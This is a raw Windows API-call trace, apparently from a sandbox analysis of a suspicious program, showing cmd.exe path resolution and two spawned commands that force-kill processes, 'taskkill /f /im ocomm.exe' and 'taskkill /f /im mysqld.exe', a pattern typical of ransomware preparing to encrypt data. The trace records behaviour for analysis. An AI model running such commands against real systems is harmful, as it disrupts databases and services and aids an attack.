	[0041.321] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0041.321] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x12496e18 | out: lpFileInformation=0x12496e18*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0041.321] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0041.321] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x12496e68 | out: lpFileInformation=0x12496e68*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0041.321] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0041.321] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x12496eb8 | out: lpFileInformation=0x12496eb8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0041.321] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0041.321] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x12496f08 | out: lpFileInformation=0x12496f08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0041.321] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0041.321] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x12496f58 | out: lpFileInformation=0x12496f58*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0041.321] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0041.321] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x12409930, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0041.322] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12496fa8 | out: lpFileInformation=0x12496fa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0041.322] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12409a00, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0041.322] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12496ff8 | out: lpFileInformation=0x12496ff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0041.322] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xac
	[0041.322] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0041.322] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0041.322] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0041.322] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0041.323] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0041.323] GetEnvironmentStringsW () returned 0x7eb348*
	[0041.323] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0041.323] GetCurrentProcess () returned 0xffffffff
	[0041.323] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xac, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1249ad10, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1249ad10*=0xb8) returned 1
	[0041.323] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1249ad14, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1249ad14*=0xbc) returned 1
	[0041.323] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1249ad18, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1249ad18*=0xc0) returned 1
	[0041.323] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im ocomm.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x124b0c00, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0xbc, hStdError=0xc0), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im ocomm.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xc8, hThread=0xc4, dwProcessId=0xa2c, dwThreadId=0xae4)) returned 1
	[0041.331] CloseHandle (hObject=0xc4) returned 1
	[0041.331] CloseHandle (hObject=0xc0) returned 1
	[0041.331] CloseHandle (hObject=0xbc) returned 1
	[0041.332] CloseHandle (hObject=0xb8) returned 1
	[0041.332] CloseHandle (hObject=0xac) returned 1
	[0041.332] CloseHandle (hObject=0xb0) returned 1
	[0041.332] CloseHandle (hObject=0xb4) returned 1
	[0041.332] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xffffffff) returned 0x0
	[0041.727] SetEvent (hEvent=0xa8) returned 1
	[0041.727] GetExitCodeProcess (in: hProcess=0xc8, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0041.727] GetProcessTimes (in: hProcess=0xc8, lpCreationTime=0x124c41a0, lpExitTime=0x124c41a8, lpKernelTime=0x124c41b0, lpUserTime=0x124c41b8 | out: lpCreationTime=0x124c41a0, lpExitTime=0x124c41a8, lpKernelTime=0x124c41b0, lpUserTime=0x124c41b8) returned 1
	[0041.727] CloseHandle (hObject=0xc8) returned 1
	[0041.727] SetEvent (hEvent=0x80) returned 1
	[0041.727] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0041.731] SetEvent (hEvent=0x80) returned 1
	[0041.731] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124416c0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0041.731] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x1249e788 | out: lpFileInformation=0x1249e788*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0041.731] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0041.731] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x1249e7d8 | out: lpFileInformation=0x1249e7d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0041.731] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0041.731] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x1249e828 | out: lpFileInformation=0x1249e828*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0041.731] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0041.732] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x1249e878 | out: lpFileInformation=0x1249e878*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0041.732] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0041.732] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x1249e8c8 | out: lpFileInformation=0x1249e8c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0041.732] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0041.732] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x1249e918 | out: lpFileInformation=0x1249e918*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0041.732] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0041.732] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x1249e968 | out: lpFileInformation=0x1249e968*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0041.732] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0041.732] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x1249e9b8 | out: lpFileInformation=0x1249e9b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0041.732] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0041.732] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x1249ea08 | out: lpFileInformation=0x1249ea08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0041.732] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0041.732] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x1249ea58 | out: lpFileInformation=0x1249ea58*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0041.732] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0041.732] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x1249eaa8 | out: lpFileInformation=0x1249eaa8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0041.733] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0041.733] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x1249eaf8 | out: lpFileInformation=0x1249eaf8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0041.733] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0041.733] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x12441790, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0041.733] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x1249eb48 | out: lpFileInformation=0x1249eb48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0041.733] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12441860, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0041.733] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x1249eb98 | out: lpFileInformation=0x1249eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0041.733] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc8
	[0041.733] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0041.733] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0041.733] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0041.734] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0041.734] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0041.734] GetEnvironmentStringsW () returned 0x7eb348*
	[0041.734] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0041.734] GetCurrentProcess () returned 0xffffffff
	[0041.734] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124a4a90, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124a4a90*=0xac) returned 1
	[0041.734] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124a4a94, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124a4a94*=0xb8) returned 1
	[0041.734] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124a4a98, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124a4a98*=0xbc) returned 1
	[0041.735] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im mysqld.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x124bcc00, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xac, hStdOutput=0xb8, hStdError=0xbc), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im mysqld.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xc4, hThread=0xc0, dwProcessId=0x930, dwThreadId=0x92c)) returned 1
	[0041.742] CloseHandle (hObject=0xc0) returned 1
	[0041.742] CloseHandle (hObject=0xbc) returned 1
	[0041.742] CloseHandle (hObject=0xb8) returned 1
	[0041.742] CloseHandle (hObject=0xac) returned 1
	[0041.742] CloseHandle (hObject=0xc8) returned 1
	[0041.742] CloseHandle (hObject=0xb4) returned 1
	[0041.742] CloseHandle (hObject=0xb0) returned 1
	[0041.742] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0xffffffff) returned 0x0
	[0042.127] SetEvent (hEvent=0xa8) returned 1
	[0042.127] GetExitCodeProcess (in: hProcess=0xc4, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0042.127] GetProcessTimes (in: hProcess=0xc4, lpCreationTime=0x12483f60, lpExitTime=0x12483f68, lpKernelTime=0x12483f70, lpUserTime=0x12483f78 | out: lpCreationTime=0x12483f60, lpExitTime=0x12483f68, lpKernelTime=0x12483f70, lpUserTime=0x12483f78) returned 1
	[0042.127] CloseHandle (hObject=0xc4) returned 1
	[0042.127] SetEvent (hEvent=0x80) returned 1
	[0042.127] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0042.135] SetEvent (hEvent=0x80) returned 1
	[0042.135] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12409ad0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
